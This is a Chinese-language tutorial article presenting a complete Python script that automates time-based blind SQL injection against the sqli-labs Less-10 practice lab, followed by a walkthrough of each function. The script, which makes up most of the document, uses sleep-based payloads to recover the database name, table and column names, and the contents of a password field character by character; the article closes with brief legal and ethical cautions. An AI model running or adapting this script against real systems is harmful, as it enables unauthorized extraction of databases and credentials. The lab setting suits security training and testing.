python

关注公众号 jb51net

关闭
首页 > 脚本专栏 > python > python sql延时注入

python实现自动化的sql延时注入

作者:乐茵安全

这篇文章主要为大家详细介绍了如何基于python实现自动化的sql延时注入脚本,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下

自动化的sql延时注入脚本

源码

import requests
import time
import datetime
url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"
p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'
#获取数据库长度
def database_len():
    for i in range(1,10):
        payload = '?id=1" and if(length(database())>%s,sleep(4),0)--+'%i
        url1 = url +payload
        #print(url1)
        time1 =datetime.datetime.now()
        r=requests.get(url=url1)
        time2=datetime.datetime.now()
        time3 = (time2-time1).total_seconds()    #计算时间差, 忽略天 只看时分秒   total_seconds() 真正的时间差 包含天
        if time3 >= 4:
            print(i)
        else:
            print(i)
            break
    print('数据库长度为:',i)
 
#database_len()
 
 
#获取数据库名
def datebase_name():
    name=''
    for i in range(1,9):
        for j in p1:
            payload='?id=1" and if(substr(database(),%s,1)="%s",sleep(4),1)--+' %(i,j)
            url1=url+payload
            #print(url1)
            time1=datetime.datetime.now()
            r=requests.get(url=url1)
            time2=datetime.datetime.now()
            time3=(time2-time1).total_seconds()
            if time3 >= 4:
                name += j
                print(name)
                break
    n = name
    print('数据库名字为:'+n)
 
#datebase_name()
 
#获取表
def tables_name():
    global table4
    table1=''
    table2=''
    table3=''
    table4=''
    for i in range(5):
        for j in range(1,6):
            for t in p1:
                payload='?id=1" and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)="%s"),3,0)) --+'%(i,j,t)
                url1=url+payload
                #print(url1)
                time1=datetime.datetime.now()
                r=requests.get(url=url1)
                time2=datetime.datetime.now()
                time3=(time2-time1).seconds
                if time3 >= 3:
                    if i == 0:
                        table1 +=t
                        print('第一个表为:',table1)
                    elif i == 1:
                        table2 += t
                        print('第二个表为:',table2)
                    elif i == 2:
                        table3 +=t
                        print('第三个表为:',table3)
                    elif i == 3:
                        table4 += t
                        print('第四个表为:',table4)
                    else:
                        break
    print('第一个表为'+table1)
    print('第二个表为'+table2)
    print('第三个表为' + table3)
    print('第四个表为' + table4)
 
 
#tables_name()
 
#获取表中的字段
def table_column():
    global column3
    column1=''
    column2=''
    column3=''
    f=table4
    for i in range(3):
        for j in range(1,9):
            for t in p1:
                payload='?id=1" and sleep(if((mid((select column_name from information_schema.columns where table_name=\'%s\' limit %s,1),%s,1)="%s"),5,0)) --+'%(f,i,j,t)
                url1 =url+payload
                #print(url1)
                time1 = datetime.datetime.now()
                r = requests.get(url=url1)
                time2 = datetime.datetime.now()
                time3 = (time2 - time1).seconds
                if time3 >= 5:
                    if i == 0:
                        column1 += t
                        print('字段一为:'+column1)
                    elif i == 1:
                        column2 += t
                        print('字段二为:'+column2)
                    elif i == 2:
                        column3 += t
                        print('字段三为:'+column3)
                    else:
                        break
    print('users字段一为:'+column1)
    print('字段二为:'+column2)
    print('字段三为:',column3)
 
 
#table_column()
 
def s_content():
    content1=''
    f1= column3
    f2= table4
    for i in range(20):
            for t in p1:
                payload = '?id=1" and sleep(if((mid((select %s from %s limit 7,1),%s,1)="%s" ),3,0)) --+'%(f1,f2,i,t)
                url1 =url+payload
                #print(url1)
                time1=datetime.datetime.now()
                r = requests.get(url=url1)
                time2 = datetime.datetime.now()
                time3 = (time2-time1).seconds
                if time3 >=3:
                        content1 += t
                        print('password字段一内容为:'+content1)
                        break
 
    print('字段内容为:'+content1)
 
 
start_time=time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time=time.time()
end_start_time=end_time-start_time
print('总花费时间为',end_start_time,'秒')”

源码详解

这段代码是一个Python脚本,用于通过SQL注入漏洞来探测和提取一个Web应用程序的数据库信息。它使用了requests库来发送HTTP请求,并使用time和datetime库来测量响应时间,从而推断出数据库的结构和内容。

导入库

import requests
import time
import datetime

requests: 用于发送HTTP请求。

time 和 datetime: 用于测量时间差。

定义URL

url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"

目标URL,用于发送SQL注入请求。

定义字符集

p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'

包含所有可能的字符,用于构造SQL注入的payload。

获取数据库长度

def database_len():
    # ...

通过逐步增加length(database())的值,并测量响应时间来确定数据库名称的长度。

获取数据库名

def datebase_name():
    # ...

通过逐个字符地探测数据库名称,并测量响应时间来确定每个字符。

获取表名

def tables_name():
    # ...

通过查询information_schema.tables表,并测量响应时间来确定表名。

获取表中的字段

def table_column():
    # ...

通过查询information_schema.columns表,并测量响应时间来确定字段名。

获取字段内容

def s_content():
    # ...

通过查询特定表的特定字段,并测量响应时间来确定字段的内容。

主程序

start_time = time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time = time.time()
end_start_time = end_time - start_time
print('总花费时间为', end_start_time, '秒')

记录开始时间,依次调用上述函数来获取数据库信息,记录结束时间,并计算总耗时。

注意事项

SQL注入风险: 这段代码利用了SQL注入漏洞,实际应用中应避免这种不安全的做法。

法律和道德: 在未经授权的情况下进行此类操作是违法的,应确保在合法和授权的环境中使用。

代码注释: 代码中有大量被注释掉的print语句,这些语句可以帮助调试和理解代码的执行过程。

总结

这段代码通过构造特定的SQL注入payload,并利用时间延迟来逐步揭示数据库的结构和内容。虽然这种方法在安全研究中有一定的价值,但在实际应用中应严格遵守法律法规和道德准则。

到此这篇关于python实现自动化的sql延时注入的文章就介绍到这了,更多相关python sql延时注入内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

您可能感兴趣的文章:
阅读全文